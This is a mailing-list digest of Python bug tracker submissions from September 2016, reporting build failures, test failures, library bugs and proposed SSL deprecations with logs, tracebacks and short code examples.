clang -pthread -DNDEBUG -g -fwrapv -O3 -Wall -Wstrict-prototypes  -fprofile-instr-generate -flto Parser/acceler.o Parser/grammar1.o Parser/listnode.o Parser/node.o Parser/parser.o Parser/bitset.o Parser/metagrammar.o Parser/firstsets.o Parser/grammar.o Parser/pgen.o Objects/obmalloc.o Python/dynamic_annotations.o Python/mysnprintf.o Python/pyctype.o Parser/tokenizer_pgen.o Parser/printgrammar.o Parser/parsetok_pgen.o Parser/pgenmain.o -lpthread -ldl  -lutil -o Parser/pgen
/usr/bin/ld: /usr/lib/llvm-3.8/bin/../lib/LLVMgold.so: error loading plugin: /usr/lib/llvm-3.8/bin/../lib/LLVMgold.so: cannot open shared object file: No such file or directory
clang: error: linker command failed with exit code 1 (use -v to see invocation)
Makefile:793: recipe for target 'Parser/pgen' failed
make[2]: *** [Parser/pgen] Error 1

as seen on ubuntu 16.04.

Related to https://bugs.launchpad.net/ubuntu/+source/llvm-toolchain-snapshot/+bug/1254970 which suggests we also need -B/usr/lib/gold-ld in our LDFLAGS and/or CFLAGS when using clang on Linux with LTO.

testing with it set in both still runs into errors; someone with clang LTO experience will need to untangle this.

(is this related to why --with-lto doesn't work on MacOS as well?)

----------
components: Build
messages: 274984
nosy: gregory.p.smith
priority: normal
severity: normal
stage: needs patch
status: open
title: configure --with-lto builds fail when CC=clang on Linux, requires gold linker
type: compile error
versions: Python 2.7, Python 3.5, Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28015>
_______________________________________

From report at bugs.python.org  Thu Sep  8 04:28:48 2016
From: report at bugs.python.org (Matthieu S)
Date: Thu, 08 Sep 2016 08:28:48 +0000
Subject: [New-bugs-announce] [issue28016] test_fileio fails on AIX
Message-ID: <1473323328.73.0.215988699422.issue28016@psf.upfronthosting.co.za>


New submission from Matthieu S:

======================================================================
FAIL: testAbles (test.test_fileio.COtherFileTests)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "/opt/freeware/src/packages/BUILD/Python-3.5.2/64bit/Lib/test/test_fileio.py", line 382, in testAbles
    self.assertEqual(f.seekable(), False)
AssertionError: True != False

======================================================================
FAIL: testAbles (test.test_fileio.PyOtherFileTests)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "/opt/freeware/src/packages/BUILD/Python-3.5.2/64bit/Lib/test/test_fileio.py", line 382, in testAbles
    self.assertEqual(f.seekable(), False)
AssertionError: True != False

/dev/tty is seakable on AIX, like on some other Unix on wich this assertion is already skipped (macOS, BSD, SunOS).

The attached patch adds adds AIX to the list of platform on wich the assertion should be skipped.

----------
components: Tests
files: Python-3.5.1-fileio.patch
keywords: patch
messages: 274985
nosy: sarterm
priority: normal
severity: normal
status: open
title: test_fileio fails on AIX
type: behavior
versions: Python 3.5
Added file: http://bugs.python.org/file44460/Python-3.5.1-fileio.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28016>
_______________________________________

From report at bugs.python.org  Thu Sep  8 05:31:34 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 08 Sep 2016 09:31:34 +0000
Subject: [New-bugs-announce] [issue28017] bluetooth.h on big endian needs
 GNU C extensions
Message-ID: <1473327094.5.0.11690995505.issue28017@psf.upfronthosting.co.za>


New submission from Christian Heimes:

PPC Fedora build bot is not able to build the _ssl and _socket module. It looks like bluetooth.h is not compatible with std=c99. It uses some GNU C extensions like __extension__, __attribute__((packed)) and __typeof__. The C99 variant -std=gnu99 should do the trick.

http://buildbot.python.org/all/builders/PPC64%20Fedora%203.x/builds/1527/steps/test/logs/stdio

In file included from /usr/include/bluetooth/bluetooth.h:37:0,
                 from /home/shager/cpython-buildarea/3.x.edelsohn-fedora-ppc64/build/Modules/socketmodule.h:58,
                 from /home/shager/cpython-buildarea/3.x.edelsohn-fedora-ppc64/build/Modules/socketmodule.c:321:
/usr/include/bluetooth/bluetooth.h: In function ?bt_get_le64?:
/usr/include/bluetooth/bluetooth.h:238:18: error: expected specifier-qualifier-list before ?typeof?
  return bswap_64(bt_get_unaligned((const uint64_t *) ptr));
                  ^
/usr/include/bluetooth/bluetooth.h:238:18: error: called object is not a function or function pointer
  return bswap_64(bt_get_unaligned((const uint64_t *) ptr));
                  ^
/usr/include/bluetooth/bluetooth.h:238:18: error: ?struct <anonymous>? has no member named ?__v?
  return bswap_64(bt_get_unaligned((const uint64_t *) ptr));

----------
components: Extension Modules
messages: 274990
nosy: benjamin.peterson, christian.heimes
priority: critical
severity: normal
stage: needs patch
status: open
title: bluetooth.h on big endian needs GNU C extensions
type: compile error
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28017>
_______________________________________

From report at bugs.python.org  Thu Sep  8 07:26:22 2016
From: report at bugs.python.org (Chi Hsuan Yen)
Date: Thu, 08 Sep 2016 11:26:22 +0000
Subject: [New-bugs-announce] [issue28018] Cross compilation fails in regen
Message-ID: <1473333982.06.0.308212142461.issue28018@psf.upfronthosting.co.za>


New submission from Chi Hsuan Yen:

Since issue23968 landed (changeset 5c77488830bc), cross compilation fails. It's not regression of a single revision but is caused by a combination of multiple changes. Here are my steps:

1. git clone https://github.com/yan12125/python3-android
2. comment `patch -p1 < "${FILESDIR}/cross-compile.patch"` from mk/python/prepare.sh
3. `make`

This results in bash errors:

mkdir ../Lib/plat-aarch64-linux-android
if [ -n "aarch64-linux-android" ]; then \
  cp ../Lib/plat-linux/regen ../Lib/plat-aarch64-linux-android/regen; \
else \
  cp ../Lib/plat-generic/regen ../Lib/plat-aarch64-linux-android/regen; \
fi; \
export PATH; PATH="`pwd`:$PATH"; \
export PYTHONPATH; PYTHONPATH="`pwd`/Lib"; \
export DYLD_FRAMEWORK_PATH; DYLD_FRAMEWORK_PATH="`pwd`"; \
export EXE; EXE=""; \
export CC; CC="/home/yen/Projects/python3-android/clang-bin/cc"; \
if [ -n "aarch64-linux-android" ]; then export MULTIARCH; MULTIARCH=aarch64-linux-android; fi; \
export PYTHON_FOR_BUILD; \
if [ "x86_64-pc-linux-gnu" = "aarch64-unknown-linux-android" ]; then \
  PYTHON_FOR_BUILD="python"; \
else \
  PYTHON_FOR_BUILD="_PYTHON_PROJECT_BASE=/home/yen/Projects/python3-android/src/cpython/build-target _PYTHON_HOST_PLATFORM=linux-aarch64 PYTHONPATH=/home/yen/Projects/python3-android/src/cpython/build-target/build/lib.linux-aarch64-3.6:../Lib:../Lib/plat-aarch64-linux-android python3.6"; \
fi; \
export H2PY; H2PY="$PYTHON_FOR_BUILD /home/yen/Projects/python3-android/src/cpython/build-target/../Tools/scripts/h2py.py"; \
cd ../Lib/plat-aarch64-linux-android;  ./regen
+ _PYTHON_PROJECT_BASE=/home/yen/Projects/python3-android/src/cpython/build-target _PYTHON_HOST_PLATFORM=linux-aarch64 PYTHONPATH=/home/yen/Projects/python3-android/src/cpython/build-target/build/lib.linux-aarch64-3.6:../Lib:../Lib/plat-aarch64-linux-android python3.6 /home/yen/Projects/python3-android/src/cpython/build-target/../Tools/scripts/h2py.py -i '(u_long)' /opt/android-ndk/platforms/android-21/arch-arm64/usr/include/sys/types.h /opt/android-ndk/platforms/android-21/arch-arm64/usr/include/netinet/in.h /opt/android-ndk/platforms/android-21/arch-arm64/usr/include/dlfcn.h
./regen: line 33: _PYTHON_PROJECT_BASE=/home/yen/Projects/python3-android/src/cpython/build-target: No such file or directory
make[1]: *** [Makefile:1331: ../Lib/plat-aarch64-linux-android] Error 127
make[1]: Leaving directory '/home/yen/Projects/python3-android/src/cpython/build-target'
make: *** [Makefile:36: python] Error 2

bash (I'm using 4.3.046) does not parse environment variables in quotation marks. For example the following script fails:

FOO="BAR=1 ls"
$FOO

The attached patch makes regen work again. I see /usr/bin/env used everywhere in CPython, so I guess it's OK to use it in configure without loss of portability.

Also added some people from issue14330, where $PYTHON_FOR_BUILD appeared for the first time.

----------
components: Cross-Build
files: cross-compile.patch
keywords: patch
messages: 274998
nosy: Alex.Willmer, Chi Hsuan Yen, doko, eric.araujo, xdegaye
priority: normal
severity: normal
status: open
title: Cross compilation fails in regen
type: compile error
versions: Python 3.6, Python 3.7
Added file: http://bugs.python.org/file44462/cross-compile.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28018>
_______________________________________

From report at bugs.python.org  Thu Sep  8 08:48:32 2016
From: report at bugs.python.org (Marcos Dione)
Date: Thu, 08 Sep 2016 12:48:32 +0000
Subject: [New-bugs-announce] [issue28019] itertools.count() falls back to
 fast (integer) mode when step rounds to 1
Message-ID: <1473338912.37.0.468562809295.issue28019@psf.upfronthosting.co.za>


New submission from Marcos Dione:

If the `step` parameter for `itertools.count()` rounds to 1 (f.i., 1.1, 1.437643, 1.99999), then it fallsback to fast (integer) mode and increases the counter by 1. Here's an example:

Python 3.6.0a4+ (default:ddc95a9bc2e0+, Sep  8 2016, 14:46:19)
>>> import itertools
>>> for i in itertools.count(1, step=1.5):
...     print(i)
...     if i > 10:
...         break
1
2
3
4
5
6
7
8
9
10
11

----------
components: Library (Lib)
messages: 275007
nosy: StyXman
priority: normal
severity: normal
status: open
title: itertools.count() falls back to fast (integer) mode when step rounds to 1
type: behavior
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28019>
_______________________________________

From report at bugs.python.org  Thu Sep  8 08:49:24 2016
From: report at bugs.python.org (SenBin Yu)
Date: Thu, 08 Sep 2016 12:49:24 +0000
Subject: [New-bugs-announce] [issue28020] Python 3 logging HTTPHandler
 doesn't implement a standard http basic authorize
Message-ID: <1473338964.47.0.491087604929.issue28020@psf.upfronthosting.co.za>


New submission from SenBin Yu:

The standard http basic authorization is

basic-credentials = "Basic" SP basic-cookie

basic-cookie      = <base64 [5] encoding of userid-password,
                            except not limited to 76 char/line>

userid-password   = [ token ] ":" *TEXT

but the logging/handlers module do the fllowing:

s = ('u%s:%s' % self.credentials).encode('utf-8')

s = 'Basic ' + base64.b64encode(s).strip()

why there is a redundant chr 'u'?

----------
components: Library (Lib)
messages: 275008
nosy: SenBin Yu
priority: normal
severity: normal
status: open
title: Python 3 logging HTTPHandler doesn't implement a standard http basic authorize
type: behavior
versions: Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28020>
_______________________________________

From report at bugs.python.org  Thu Sep  8 10:21:07 2016
From: report at bugs.python.org (Faisal Saleem)
Date: Thu, 08 Sep 2016 14:21:07 +0000
Subject: [New-bugs-announce] [issue28021] Calculating wrong modulus manually
Message-ID: <1473344467.84.0.165725302735.issue28021@psf.upfronthosting.co.za>


New submission from Faisal Saleem:

Hi,

when I calculate (11**19)%23 it gives me 15 but when I try to do the same operation manually it give a totally different result which is 1395.

>>> 11**19
61159090448414546291
>>> (11**19)%23
15
>>> a=11**19
>>> a
61159090448414546291
>>> b=23
>>> c=int(a/b)
>>> c
2659090889061501952
>>> d=b*c
>>> d
61159090448414544896
>>> e=a-d
>>> e
1395

----------
messages: 275015
nosy: sfaisalawan
priority: normal
severity: normal
status: open
title: Calculating wrong modulus manually
type: behavior
versions: Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28021>
_______________________________________

From report at bugs.python.org  Thu Sep  8 11:19:02 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 08 Sep 2016 15:19:02 +0000
Subject: [New-bugs-announce] [issue28022] SSL releated deprecation for 3.6
Message-ID: <1473347942.69.0.310193437319.issue28022@psf.upfronthosting.co.za>


New submission from Christian Heimes:

I like to deprecate some SSL related parts of Python:

- ssl.wrap_socket() is a horrible abomination. People should use SSLContext.wrap_socket() instead
- all certfile/cert_file, keyfile/key_file and check_hostname arguments. Use context / ssl_context instead.
- make ftplib, imaplib, nntplib, pop3lib, smtplib etc. validate certs by default.

----------
assignee: christian.heimes
components: Documentation, Library (Lib)
messages: 275043
nosy: alex, christian.heimes, dstufft, giampaolo.rodola, janssen
priority: high
severity: normal
stage: needs patch
status: open
title: SSL releated deprecation for 3.6
type: security
versions: Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28022>
_______________________________________

From report at bugs.python.org  Thu Sep  8 12:25:40 2016
From: report at bugs.python.org (STINNER Victor)
Date: Thu, 08 Sep 2016 16:25:40 +0000
Subject: [New-bugs-announce] [issue28023] python-gdb.py must be updated for
 the new Python 3.6 compact dict
Message-ID: <1473351940.28.0.277088210884.issue28023@psf.upfronthosting.co.za>


New submission from STINNER Victor:

The issue #27350 changed the design of Python dictionaries to make them compact. python-gdb.py must be updated for the new structure of Python dict.

----------
messages: 275058
nosy: haypo, methane
priority: normal
severity: normal
status: open
title: python-gdb.py must be updated for the new Python 3.6 compact dict
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28023>
_______________________________________

From report at bugs.python.org  Thu Sep  8 13:30:58 2016
From: report at bugs.python.org (Josh Rosenberg)
Date: Thu, 08 Sep 2016 17:30:58 +0000
Subject: [New-bugs-announce] [issue28024] fileinput causes RecursionErrors
 when dealing with large numbers of empty files
Message-ID: <1473355858.84.0.568910918601.issue28024@psf.upfronthosting.co.za>


New submission from Josh Rosenberg:

Accidentally discovered this while running code that processes a whole bunch of files, when it turned out the files were empty. The readline method of fileinput.input will make a recursive call to continue processing when it reaches the end of a file. This is fine when files aren't empty, but if you have sufficient (~1000) empty files being processed, this causes recursion errors.

Simple example:

>>> for i in range(10000):
...     with open('test{}'.format(i), 'wb'):
...         pass
...
>>> import fileinput, glob
>>> ''.join(fileinput.input(glob.glob('./test*')))
Traceback ...
... (almost all the levels are showing the self.readline() call at the end of readline) ...
RecursionError: maximum recursion depth exceeded

Admittedly a niche case, but a relatively simple switch from recursion to iteration would solve it. Same problem appears in all versions of Python.

----------
components: Library (Lib)
messages: 275072
nosy: josh.r
priority: normal
severity: normal
status: open
title: fileinput causes RecursionErrors when dealing with large numbers of empty files
versions: Python 2.7, Python 3.5, Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28024>
_______________________________________

From report at bugs.python.org  Thu Sep  8 13:35:49 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 08 Sep 2016 17:35:49 +0000
Subject: [New-bugs-announce] [issue28025] Use IntEnum and IntFlags in ssl
 module
Message-ID: <1473356149.55.0.656612529599.issue28025@psf.upfronthosting.co.za>


New submission from Christian Heimes:

The patch removes ssl._import_symbols and adds more enums to the ssl module. Please review the patch. I'll update documentation in the next step.

With IntFlags it is much easier to understand flags like SSLContext.options

>>> import ssl
>>> ctx = ssl.create_default_context()
>>> ssl.Options(ctx.options)
<Options.OP_ALL|OP_NO_SSLv3|OP_NO_SSLv2|OP_NO_COMPRESSION: 2197947391>

----------
files: ssl_enum.patch
keywords: patch
messages: 275076
nosy: alex, christian.heimes, dstufft, giampaolo.rodola, haypo, janssen
priority: normal
severity: normal
stage: patch review
status: open
title: Use IntEnum and IntFlags in ssl module
type: enhancement
versions: Python 3.6
Added file: http://bugs.python.org/file44468/ssl_enum.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28025>
_______________________________________

From report at bugs.python.org  Thu Sep  8 14:01:32 2016
From: report at bugs.python.org (Eric Snow)
Date: Thu, 08 Sep 2016 18:01:32 +0000
Subject: [New-bugs-announce] [issue28026] module_from_spec() should raise an
 error in 3.6
Message-ID: <1473357692.69.0.511977546834.issue28026@psf.upfronthosting.co.za>


New submission from Eric Snow:

In Lib/importlib/_bootstrap.py, module_from_spec() specifies that the current deprecation warning should be an error in 3.6.  So, here's a patch.

----------
assignee: eric.snow
components: Interpreter Core
files: module_from_spec.diff
keywords: patch
messages: 275086
nosy: brett.cannon, eric.snow
priority: normal
severity: normal
stage: patch review
status: open
title: module_from_spec() should raise an error in 3.6
type: behavior
versions: Python 3.6
Added file: http://bugs.python.org/file44472/module_from_spec.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28026>
_______________________________________

From report at bugs.python.org  Thu Sep  8 14:38:19 2016
From: report at bugs.python.org (Zachary Ware)
Date: Thu, 08 Sep 2016 18:38:19 +0000
Subject: [New-bugs-announce] [issue28027] Remove Lib/plat-*/* files
Message-ID: <1473359899.1.0.11929160412.issue28027@psf.upfronthosting.co.za>


New submission from Zachary Ware:

After discussion at the core dev sprints, Guido has decreed that the files in Lib/plat-* can and should be removed.

----------
assignee: zach.ware
messages: 275106
nosy: gvanrossum, haypo, ned.deily, zach.ware
priority: normal
severity: normal
status: open
title: Remove Lib/plat-*/* files
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28027>
_______________________________________

From report at bugs.python.org  Thu Sep  8 15:23:04 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Thu, 08 Sep 2016 19:23:04 +0000
Subject: [New-bugs-announce] [issue28028] Convert warnings to SyntaxWarning
 in parser
Message-ID: <1473362584.72.0.509126494717.issue28028@psf.upfronthosting.co.za>


New submission from Serhiy Storchaka:

AST parser converts UnicodeError and ValueError raised during parsing string literal to SyntaxError. Maybe make it converting warnings (see issue27364) to SyntaxWarning?

----------
components: Interpreter Core
messages: 275122
nosy: serhiy.storchaka
priority: normal
severity: normal
status: open
title: Convert warnings to SyntaxWarning in parser
type: enhancement
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28028>
_______________________________________

From report at bugs.python.org  Thu Sep  8 16:30:41 2016
From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Henriot?=)
Date: Thu, 08 Sep 2016 20:30:41 +0000
Subject: [New-bugs-announce] [issue28029] Replace and empty strings
Message-ID: <1473366641.62.0.989746465638.issue28029@psf.upfronthosting.co.za>


New submission from St?phane Henriot:

A few days ago, the following behavior surprised me.

>>> "".replace("", "prefix", 1)
''
>>> "".replace("", "prefix")
'prefix'

It seems to me this edge case isn't correctly documented/implemented. I tested with python 2.7, 3.4 and 3.5, I guess it applies for other versions as well.

Here are a few elements, for reference.

? string.replace(s, old, new[, maxreplace])
Return a copy of string s with all occurrences of substring old replaced by new. If the optional argument maxreplace is given, the first maxreplace occurrences are replaced. ?

>>> "" in ""
True
>>> "".count("")
1
>>> "".find("")
0

https://hg.python.org/cpython/file/2.7/Objects/stringobject.c#l2750
https://hg.python.org/cpython/file/default/Objects/unicodeobject.c#l10479

Thanks,

St?phane.

----------
messages: 275140
nosy: St?phane Henriot
priority: normal
severity: normal
status: open
title: Replace and empty strings
type: behavior

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28029>
_______________________________________

From report at bugs.python.org  Thu Sep  8 16:59:20 2016
From: report at bugs.python.org (Eric Snow)
Date: Thu, 08 Sep 2016 20:59:20 +0000
Subject: [New-bugs-announce] [issue28030] Update the language reference for
 PEP 468.
Message-ID: <1473368360.47.0.302318700484.issue28030@psf.upfronthosting.co.za>


New submission from Eric Snow:

Doc/reference/compound_stmts.rst needs to be updated to reflect the changes from PEP 468.

----------
assignee: eric.snow
components: Documentation
messages: 275153
nosy: eric.snow
priority: normal
severity: normal
status: open
title: Update the language reference for PEP 468.
type: enhancement
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28030>
_______________________________________

From report at bugs.python.org  Thu Sep  8 17:27:24 2016
From: report at bugs.python.org (Brett Cannon)
Date: Thu, 08 Sep 2016 21:27:24 +0000
Subject: [New-bugs-announce] [issue28031] Update pathlib.resolve() to match
 os.path.realpath()
Message-ID: <1473370044.02.0.0447755137182.issue28031@psf.upfronthosting.co.za>


New submission from Brett Cannon:

See https://mail.python.org/pipermail/python-ideas/2016-September/042203.html .

----------
components: Library (Lib)
messages: 275164
nosy: brett.cannon, serhiy.storchaka
priority: normal
severity: normal
status: open
title: Update pathlib.resolve() to match os.path.realpath()
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28031>
_______________________________________

From report at bugs.python.org  Thu Sep  8 17:32:32 2016
From: report at bugs.python.org (Gregory P. Smith)
Date: Thu, 08 Sep 2016 21:32:32 +0000
Subject: [New-bugs-announce] [issue28032] --with-lto builds segfault in many
 situations
Message-ID: <1473370352.47.0.536997029042.issue28032@psf.upfronthosting.co.za>


New submission from Gregory P. Smith:

configure --with-optimizations is failing on the Debian --with-optimizations buildbot:

http://buildbot.python.org/all/builders/AMD64%20Debian%20PGO%203.x/builds/2448/steps/compile/logs/stdio

The compiled python is segfaulting when it goes to run the interpreter to build modules via setup.py.

this passes manually on ubuntu 16.04.  debian jessie 8.5 is failing here.  older gcc 4.9.2 toolchain.

i suspect --with-lto is not a good thing to enable by default everywhere.

configure.ac should be updated to exclude --with-lto in more situations than just Darwin.  we also know it doesn't work with clang as our configure and makefile are today.  so start with a conditional on gcc version being at least 5.4 (which is what ubuntu 16.04 ships with)?  or is it related to the binutils (ld) version when gcc is present?  or both.  LTO is a maze of twisty passages.

To lower this from "release blocker" we need to make --with-optimizations not enable --with-lto anywhere it is likely to fail.

----------
assignee: gregory.p.smith
messages: 275171
nosy: benjamin.peterson, gregory.p.smith, larry, ned.deily
priority: release blocker
severity: normal
status: open
title: --with-lto builds segfault in many situations
versions: Python 2.7, Python 3.5, Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28032>
_______________________________________

From report at bugs.python.org  Thu Sep  8 20:53:50 2016
From: report at bugs.python.org (Wesley Emeneker)
Date: Fri, 09 Sep 2016 00:53:50 +0000
Subject: [New-bugs-announce] [issue28033] dictobject.c comment misspelling
Message-ID: <1473382430.74.0.828322185032.issue28033@psf.upfronthosting.co.za>


New submission from Wesley Emeneker:

This is a patch for a simple misspelling fix in a comment in dictobject.c

----------
assignee: docs at python
components: Documentation
files: dictobject_comment_misspell.patch
keywords: patch
messages: 275226
nosy: Wesley Emeneker, docs at python
priority: normal
severity: normal
status: open
title: dictobject.c comment misspelling
type: enhancement
versions: Python 3.7
Added file: http://bugs.python.org/file44481/dictobject_comment_misspell.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28033>
_______________________________________

From report at bugs.python.org  Thu Sep  8 22:15:37 2016
From: report at bugs.python.org (jf)
Date: Fri, 09 Sep 2016 02:15:37 +0000
Subject: [New-bugs-announce] [issue28034] local var in "for v in iter"
 modify the uplevel var value.
Message-ID: <1473387337.55.0.425238747247.issue28034@psf.upfronthosting.co.za>


New submission from jf:

eg:

s = 'aaa'
print(s)
for s in '111', '222', '333':
    print(s)
print(s)

the right result should be:
'aaa'
'111'
'222'
'333'
'aaa'

but, i got:
'aaa'
'111'
'222'
'333'
'333'

the local var in "for v in iter", modify the uplevel var value.
Is it wrong?

----------
components: Interpreter Core
messages: 275233
nosy: zaazbb
priority: normal
severity: normal
status: open
title: local var in "for v in iter" modify the uplevel var value.
type: behavior
versions: Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28034>
_______________________________________

From report at bugs.python.org  Fri Sep  9 00:55:02 2016
From: report at bugs.python.org (Gregory P. Smith)
Date: Fri, 09 Sep 2016 04:55:02 +0000
Subject: [New-bugs-announce] [issue28035] make buildbottest when configured
 --with-optimizations can cause a recompile?
Message-ID: <1473396902.46.0.10925434221.issue28035@psf.upfronthosting.co.za>


New submission from Gregory P. Smith:

See the logs from this build for example:

http://buildbot.python.org/all/builders/AMD64%20Debian%20PGO%203.x/builds/4

Notice how the test stdio shows it recompiling all over again.

This is happening even on a "successful" test:
http://buildbot.python.org/all/builders/AMD64%20Debian%20PGO%203.5/builds/1/steps/test/logs/stdio

----------
assignee: gregory.p.smith
messages: 275255
nosy: gregory.p.smith
priority: high
severity: normal
status: open
title: make buildbottest when configured --with-optimizations can cause a recompile?
versions: Python 2.7, Python 3.5, Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28035>
_______________________________________

From report at bugs.python.org  Fri Sep  9 01:37:51 2016
From: report at bugs.python.org (Berker Peksag)
Date: Fri, 09 Sep 2016 05:37:51 +0000
Subject: [New-bugs-announce] [issue28036] Remove unused
 pysqlite_flush_statement_cache function
Message-ID: <1473399471.98.0.74217614333.issue28036@psf.upfronthosting.co.za>


New submission from Berker Peksag:

This looks like unused since years. Here's a patch that removes it.

----------
components: Extension Modules
files: flush-statement-cache.diff
keywords: patch
messages: 275263
nosy: berker.peksag, ghaering
priority: normal
severity: normal
stage: patch review
status: open
title: Remove unused pysqlite_flush_statement_cache function
type: enhancement
versions: Python 3.6
Added file: http://bugs.python.org/file44486/flush-statement-cache.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28036>
_______________________________________

From report at bugs.python.org  Fri Sep  9 02:19:58 2016
From: report at bugs.python.org (Berker Peksag)
Date: Fri, 09 Sep 2016 06:19:58 +0000
Subject: [New-bugs-announce] [issue28037] Use sqlite3_get_autocommit()
 instead of setting Connection->inTransaction manually
Message-ID: <1473401998.41.0.140269538481.issue28037@psf.upfronthosting.co.za>


New submission from Berker Peksag:

This is basically a backport of https://github.com/ghaering/pysqlite/commit/9b79188edbc50faa24dc178afe24a10454f3fcad except that Connection.in_transaction is exposed since Python 3.2.

----------
components: Extension Modules
files: in_transaction.diff
keywords: patch
messages: 275266
nosy: berker.peksag, ghaering
priority: normal
severity: normal
stage: patch review
status: open
title: Use sqlite3_get_autocommit() instead of setting Connection->inTransaction manually
type: enhancement
versions: Python 3.6
Added file: http://bugs.python.org/file44488/in_transaction.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28037>
_______________________________________

From report at bugs.python.org  Fri Sep  9 03:06:33 2016
From: report at bugs.python.org (Ivan Levkivskyi)
Date: Fri, 09 Sep 2016 07:06:33 +0000
Subject: [New-bugs-announce] [issue28038] Remove com2ann script (will be in
 separate repo)
Message-ID: <1473404793.77.0.890016027099.issue28038@psf.upfronthosting.co.za>


New submission from Ivan Levkivskyi:

Guido,

Here is a patch to remove com2ann (also it looks like Yury added a second entry for me in MISC/Acks, so that I am removing it).

----------
components: Demos and Tools
files: remove-com2ann.diff
keywords: patch
messages: 275274
nosy: gvanrossum, levkivskyi
priority: normal
severity: normal
status: open
title: Remove com2ann script (will be in separate repo)
versions: Python 3.6
Added file: http://bugs.python.org/file44489/remove-com2ann.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28038>
_______________________________________

From report at bugs.python.org  Fri Sep  9 03:54:01 2016
From: report at bugs.python.org (Martin Panter)
Date: Fri, 09 Sep 2016 07:54:01 +0000
Subject: [New-bugs-announce] [issue28039] x86 Tiger buildbot needs
 __future__ with_statement
Message-ID: <1473407641.18.0.0923940651973.issue28039@psf.upfronthosting.co.za>


New submission from Martin Panter:

Revision 7eaaac5ad4e8 removed a bunch of ?with_statement? __future__ imports, including in Tools/hg/hgtouch.py. This is causing a buildbot to fail; presumably it has Python < 2.6 for Mercurial:

http://buildbot.python.org/all/builders/x86%20Tiger%203.x/builds/11301/steps/touch/logs/stdio
Tools/hg/hgtouch.py:22: Warning: 'with' will become a reserved keyword in Python 2.6
*** failed to import extension touch from Tools/hg/hgtouch.py: invalid syntax (hgtouch.py, line 22)
hg: unknown command 'touch'

The compile step subsequently seems to regenerate a file and fails.

What was the reason to remove these __future__ imports? Maybe only remove them from Python 3-only code.

----------
components: Build
keywords: buildbot
messages: 275282
nosy: gregory.p.smith, martin.panter
priority: normal
severity: normal
status: open
title: x86 Tiger buildbot needs __future__ with_statement
type: compile error
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28039>
_______________________________________

From report at bugs.python.org  Fri Sep  9 03:57:28 2016
From: report at bugs.python.org (Matthias Bussonnier)
Date: Fri, 09 Sep 2016 07:57:28 +0000
Subject: [New-bugs-announce] [issue28040] compact dict : SystemError:
 returned NULL without setting an error.
Message-ID: <1473407848.54.0.959550177057.issue28040@psf.upfronthosting.co.za>


New submission from Matthias Bussonnier:

I've been able to reliably trigger dict.pop to raise a system error: 

See https://github.com/pytest-dev/pytest/issues/1925


I have issues getting a small test-case that triggers it, though by changing the pop method of dict to print the returned value:

PyObject *
_PyDict_Pop(PyDictObject *mp, PyObject *key, PyObject *deflt){
...
    printf("\nreturn End value %x\n", old_value );
    return old_value;

}

I've been able to see that the last return sometime return Null:

[snip]

return End value 0
Fatal Python error: a function returned NULL without setting an error
SystemError: <built-in method pop of dict object at 0x10473f238> returned NULL without setting an error

Current thread 0x00007fff77139300 (most recent call first):
  File "/usr/local/lib/python3.6/site-packages/_pytest/capture.py", line 83 in reset_capturings
  File "/usr/local/lib/python3.6/site-packages/_pytest/config.py", line 869 in _ensure_unconfigure
  File "/usr/local/lib/python3.6/site-packages/_pytest/main.py", line 121 in wrap_session
  File "/usr/local/lib/python3.6/site-packages/_pytest/main.py", line 125 in pytest_cmdline_main
  File "/usr/local/lib/python3.6/site-packages/_pytest/vendored_packages/pluggy.py", line 596 in execute
  File "/usr/local/lib/python3.6/site-packages/_pytest/vendored_packages/pluggy.py", line 333 in <lambda>
  File "/usr/local/lib/python3.6/site-packages/_pytest/vendored_packages/pluggy.py", line 338 in _hookexec
  File "/usr/local/lib/python3.6/site-packages/_pytest/vendored_packages/pluggy.py", line 724 in __call__
  File "/usr/local/lib/python3.6/site-packages/_pytest/config.py", line 57 in main
  File "/usr/local/lib/python3.6/site-packages/pytest.py", line 17 in <module>
  File "/Users/bussonniermatthias/dev/git-cpython/Lib/runpy.py", line 85 in _run_code
  File "/Users/bussonniermatthias/dev/git-cpython/Lib/runpy.py", line 193 in _run_module_as_main

Aborted

Which I suppose is not desirable.

